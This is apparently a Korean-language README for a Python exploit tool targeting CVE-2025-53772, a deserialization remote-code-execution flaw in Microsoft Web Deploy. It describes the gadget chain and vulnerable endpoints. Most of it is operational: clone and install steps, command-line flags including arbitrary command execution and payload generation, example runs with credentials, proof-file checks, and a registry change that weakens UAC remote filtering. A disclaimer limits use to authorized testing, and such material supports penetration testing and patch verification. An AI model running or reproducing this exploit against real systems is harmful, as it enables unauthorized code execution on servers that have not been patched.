
cve-2025-53772를 위한 poc
CVE-2025-53772를 대상으로 하는 Python 기반 익스플로잇으로, HTTP 헤더 데이터의 안전하지 않은 역직렬화로 인해 발생하는 Microsoft Web Deploy(msdeploy) 원격 코드 실행 취약점입니다.

| 속성 | 값 |
|---|
| CVE ID | CVE-2025-53772 |
| CVSS 점수 | 8.8 (높음) |
| 영향을 받는 제품 | Microsoft Web Deploy 4.0 |
| 취약한 버전 | < 10.0.2001 |
| 패치 버전 | 10.0.2001+ |
| 취약점 유형 | 신뢰할 수 없는 데이터의 역직렬화 (CWE-502) |
| 인증 | 필요 (낮은 권한) |
이 취약점은 MSDeploy.SyncOptions HTTP 헤더의 역직렬화 과정에서 발생합니다. 특수하게 조작된 페이로드가 전송되면 서버는 BinaryFormatter를 사용해 이를 역직렬화하며, TypeConfuseDelegate 가젯 체인을 통해 임의 코드 실행이 발생합니다.
Attacker Target Server
│ │
│ POST /MSDEPLOYAGENTSERVICE HTTP/1.1 │
│ MSDeploy.SyncOptions: <malicious_payload> │
│─────────────────────────────────────────────>│
│ │
│ BinaryFormatter.Deserialize()
│ │
│ ▼
│ Process.Start("cmd.exe", "/c ...")
│ │
│ ▼
│ RCE Achieved!
| 엔드포인트 | 포트 | 프로토콜 | 인증 유형 |
|---|---|---|---|
/MSDEPLOYAGENTSERVICE | 80 | HTTP | NTLM |
/msdeploy.axd | 8172 | HTTPS | Basic |
git clone https://github.com/sailay1996/CVE-2025-53772.git
cd CVE-2025-53772
pip install -r requirements.txt
requests>=2.28.0
urllib3>=1.26.0
requests-ntlm>=1.2.0
# Create proof file in C:\Windows\Temp\pwned.txt
python3 CVE-2025-53772.py -t <TARGET_IP> -u "<DOMAIN\username>" -P "<password>" --ntlm --proof-temp
-t, --target 대상 IP 또는 호스트 이름 (필수)
-u, --user 사용자 이름 (필수)
-P, --password 비밀번호 (필수)
--port 대상 포트 (기본값: 80)
--endpoint 엔드포인트 경로 (기본값: /MSDEPLOYAGENTSERVICE)
--ntlm NTLM 인증 사용 (에이전트 서비스에 필요)
--calc calc.exe 실행
--proof-temp C:\Windows\Temp\pwned.txt 생성
--proof-web C:\inetpub\wwwroot\pwned.txt 생성
-c, --command 실행할 사용자 지정 명령
--generate-only 페이로드만 생성하고 전송하지 않음
-o, --output 페이로드를 파일로 저장
# Pop calculator
python3 CVE-2025-53772.py -t 192.168.1.100 -u "WORKSTATION\Administrator" -P "P@ssw0rd" --ntlm --calc
# Create proof file in temp folder
python3 CVE-2025-53772.py -t 192.168.1.100 -u "WORKSTATION\webdeploy" -P "Password123" --ntlm --proof-temp
# Create proof file in webroot (verify via browser)
python3 CVE-2025-53772.py -t 192.168.1.100 -u "WORKSTATION\admin" -P "Password123" --ntlm --proof-web
# Execute custom command
python3 CVE-2025-53772.py -t 192.168.1.100 -u "WORKSTATION\admin" -P "Password123" --ntlm -c "whoami > C:\Windows\Temp\whoami.txt"
# Generate payload only (don't send)
python3 CVE-2025-53772.py -t 192.168.1.100 -u "test" -P "test" --generate-only --proof-temp -o payload.txt
# Using msdeploy.axd endpoint (no --ntlm flag)
python3 CVE-2025-53772.py -t 192.168.1.100 -u "webdeploy" -P "Password123" --port 8172 --endpoint "/msdeploy.axd" --proof-temp
익스플로잇 실행 후 대상에서 실행 결과를 확인합니다:
# Check for proof file
type C:\Windows\Temp\pwned.txt
# Or via browser (if --proof-web was used)
# Navigate to: http://<TARGET>/pwned.txt
NTLM을 사용하는 에이전트 서비스에서 401 오류가 발생하는 경우:
# On target, disable UAC remote filtering:
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
IIS 핸들러가 등록되지 않았을 수 있습니다. 대신 에이전트 서비스 엔드포인트를 사용하세요:
--port 80 --endpoint "/MSDEPLOYAGENTSERVICE"
# Check installed version
(Get-Command msdeploy.exe).FileVersionInfo.FileVersion
# Vulnerable if < 10.0.2001
이 도구는 공인된 보안 테스트 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 테스트 전에 항상 적절한 승인을 받으십시오.
MIT 라이선스